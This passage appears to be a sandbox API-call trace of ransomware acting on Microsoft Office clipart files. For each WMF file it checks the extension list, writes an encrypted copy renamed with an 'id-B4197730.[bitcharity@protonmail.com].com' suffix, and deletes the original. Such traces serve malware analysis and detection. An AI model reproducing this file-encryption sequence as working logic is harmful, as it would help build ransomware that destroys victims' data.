(lpString=".xls") returned 4 [0296.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.191] lstrlenW (lpString=".xlsx") returned 5 [0296.191] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.191] lstrlenW (lpString=".ppt") returned 4 [0296.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0296.191] lstrlenW (lpString=".zip") returned 4 [0296.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.191] lstrlenW (lpString=".rar") returned 4 [0296.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.191] lstrlenW (lpString=".bz2") returned 4 [0296.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.191] lstrlenW (lpString=".7z") returned 3 [0296.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0296.191] lstrlenW (lpString=".dbf") returned 4 [0296.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0296.191] lstrlenW (lpString=".1cd") returned 4 [0296.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0296.191] lstrlenW (lpString=".jpg") returned 4 [0296.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.191] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.191] lstrlenW (lpString="DD01176_.WMF") returned 12 [0296.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0296.192] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=1888) returned 1 [0296.192] CloseHandle (hObject=0x10a8) returned 1 [0296.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x220 [0296.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0296.192] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.192] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0296.193] GetLastError () returned 0x0 [0296.193] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x760, lpOverlapped=0x0) returned 1 [0296.252] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x770, lpOverlapped=0x0) returned 1 [0296.253] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0296.253] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0296.253] SetEndOfFile (hFile=0x1098) returned 1 [0296.253] CloseHandle (hObject=0x1098) returned 1 [0296.254] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.254] SetEndOfFile (hFile=0x10a8) returned 1 [0296.254] CloseHandle (hObject=0x10a8) returned 1 [0296.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.254] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 1 [0296.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0296.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0296.255] lstrlenW (lpString=".doc") returned 4 [0296.255] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.255] lstrlenW (lpString=".docx") returned 5 [0296.255] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.255] lstrlenW (lpString=".pdf") returned 4 [0296.255] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.255] lstrlenW (lpString=".xls") returned 4 [0296.255] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.255] lstrlenW (lpString=".xlsx") returned 5 [0296.255] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.255] lstrlenW (lpString=".ppt") returned 4 [0296.255] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0296.255] lstrlenW (lpString=".zip") returned 4 [0296.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.255] lstrlenW (lpString=".rar") returned 4 [0296.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.255] lstrlenW (lpString=".bz2") returned 4 [0296.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.255] lstrlenW (lpString=".7z") returned 3 [0296.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0296.256] lstrlenW (lpString=".dbf") returned 4 [0296.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0296.256] lstrlenW (lpString=".1cd") returned 4 [0296.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0296.256] lstrlenW (lpString=".jpg") returned 4 [0296.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0296.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0296.256] lstrlenW (lpString=".doc") returned 4 [0296.256] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.256] lstrlenW (lpString=".docx") returned 5 [0296.256] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.256] lstrlenW (lpString=".pdf") returned 4 [0296.256] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.256] lstrlenW (lpString=".xls") returned 4 [0296.256] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.256] lstrlenW (lpString=".xlsx") returned 5 [0296.256] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.256] lstrlenW (lpString=".ppt") returned 4 [0296.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0296.256] lstrlenW (lpString=".zip") returned 4 [0296.256] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.256] lstrlenW (lpString=".rar") returned 4 [0296.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.256] lstrlenW (lpString=".bz2") returned 4 [0296.256] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.256] lstrlenW (lpString=".7z") returned 3 [0296.257] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0296.257] lstrlenW (lpString=".dbf") returned 4 [0296.257] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0296.257] lstrlenW (lpString=".1cd") returned 4 [0296.257] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0296.257] lstrlenW (lpString=".jpg") returned 4 [0296.257] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.257] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.257] lstrlenW (lpString="DD01178_.WMF") returned 12 [0296.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0296.257] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=3796) returned 1 [0296.257] CloseHandle (hObject=0x10a8) returned 1 [0296.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x220 [0296.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0296.258] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.258] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0296.258] GetLastError () returned 0x0 [0296.258] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0xed4, lpOverlapped=0x0) returned 1 [0296.307] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xee0, lpOverlapped=0x0) returned 1 [0296.308] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0296.308] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0296.308] SetEndOfFile (hFile=0x1098) returned 1 [0296.308] CloseHandle (hObject=0x1098) returned 1 [0296.308] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.308] SetEndOfFile (hFile=0x10a8) returned 1 [0296.309] CloseHandle (hObject=0x10a8) returned 1 [0296.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.446] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 1 [0296.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0296.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0296.447] lstrlenW (lpString=".doc") returned 4 [0296.447] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.447] lstrlenW (lpString=".docx") returned 5 [0296.447] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.447] lstrlenW (lpString=".pdf") returned 4 [0296.447] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.447] lstrlenW (lpString=".xls") returned 4 [0296.447] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.447] lstrlenW (lpString=".xlsx") returned 5 [0296.447] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.447] lstrlenW (lpString=".ppt") returned 4 [0296.447] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0296.447] lstrlenW (lpString=".zip") returned 4 [0296.447] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.447] lstrlenW (lpString=".rar") returned 4 [0296.447] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.447] lstrlenW (lpString=".bz2") returned 4 [0296.447] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.447] lstrlenW (lpString=".7z") returned 3 [0296.447] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0296.447] lstrlenW (lpString=".dbf") returned 4 [0296.447] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0296.447] lstrlenW (lpString=".1cd") returned 4 [0296.447] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0296.447] lstrlenW (lpString=".jpg") returned 4 [0296.447] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0296.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0296.447] lstrlenW (lpString=".doc") returned 4 [0296.447] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.447] lstrlenW (lpString=".docx") returned 5 [0296.447] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.448] lstrlenW (lpString=".pdf") returned 4 [0296.448] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.448] lstrlenW (lpString=".xls") returned 4 [0296.448] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.448] lstrlenW (lpString=".xlsx") returned 5 [0296.448] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.448] lstrlenW (lpString=".ppt") returned 4 [0296.448] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0296.448] lstrlenW (lpString=".zip") returned 4 [0296.448] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.448] lstrlenW (lpString=".rar") returned 4 [0296.448] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.448] lstrlenW (lpString=".bz2") returned 4 [0296.448] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.448] lstrlenW (lpString=".7z") returned 3 [0296.448] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0296.448] lstrlenW (lpString=".dbf") returned 4 [0296.448] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0296.448] lstrlenW (lpString=".1cd") returned 4 [0296.448] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68 [0296.448] lstrlenW (lpString=".jpg") returned 4 [0296.448] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.448] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.448] lstrlenW (lpString="DD01183_.WMF") returned 12 [0296.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0296.449] GetFileSizeEx (in: hFile=0x10cc, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=2296) returned 1 [0296.449] CloseHandle (hObject=0x10cc) returned 1 [0296.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x220 [0296.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0296.449] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.449] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0296.450] GetLastError () returned 0x0 [0296.450] ReadFile (in: hFile=0x10cc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x8f8, lpOverlapped=0x0) returned 1 [0296.533] WriteFile (in: hFile=0x10ac, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x900, lpOverlapped=0x0) returned 1 [0296.533] ReadFile (in: hFile=0x10cc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0296.533] WriteFile (in: hFile=0x10ac, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0296.534] SetEndOfFile (hFile=0x10ac) returned 1 [0296.534] CloseHandle (hObject=0x10ac) returned 1 [0296.534] SetFilePointerEx (in: hFile=0x10cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.534] SetEndOfFile (hFile=0x10cc) returned 1 [0296.534] CloseHandle (hObject=0x10cc) returned 1 [0296.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.535] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 1 [0296.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0296.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0296.535] lstrlenW (lpString=".doc") returned 4 [0296.535] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.535] lstrlenW (lpString=".docx") returned 5 [0296.535] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.535] lstrlenW (lpString=".pdf") returned 4 [0296.535] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.535] lstrlenW (lpString=".xls") returned 4 [0296.535] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.535] lstrlenW (lpString=".xlsx") returned 5 [0296.535] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.535] lstrlenW (lpString=".ppt") returned 4 [0296.535] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0296.535] lstrlenW (lpString=".zip") returned 4 [0296.535] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.535] lstrlenW (lpString=".rar") returned 4 [0296.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.535] lstrlenW (lpString=".bz2") returned 4 [0296.535] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.536] lstrlenW (lpString=".7z") returned 3 [0296.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0296.536] lstrlenW (lpString=".dbf") returned 4 [0296.536] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0296.536] lstrlenW (lpString=".1cd") returned 4 [0296.536] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0296.536] lstrlenW (lpString=".jpg") returned 4 [0296.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0296.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0296.536] lstrlenW (lpString=".doc") returned 4 [0296.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.536] lstrlenW (lpString=".docx") returned 5 [0296.536] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.536] lstrlenW (lpString=".pdf") returned 4 [0296.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.536] lstrlenW (lpString=".xls") returned 4 [0296.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.536] lstrlenW (lpString=".xlsx") returned 5 [0296.536] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.536] lstrlenW (lpString=".ppt") returned 4 [0296.536] lstrcmpiW 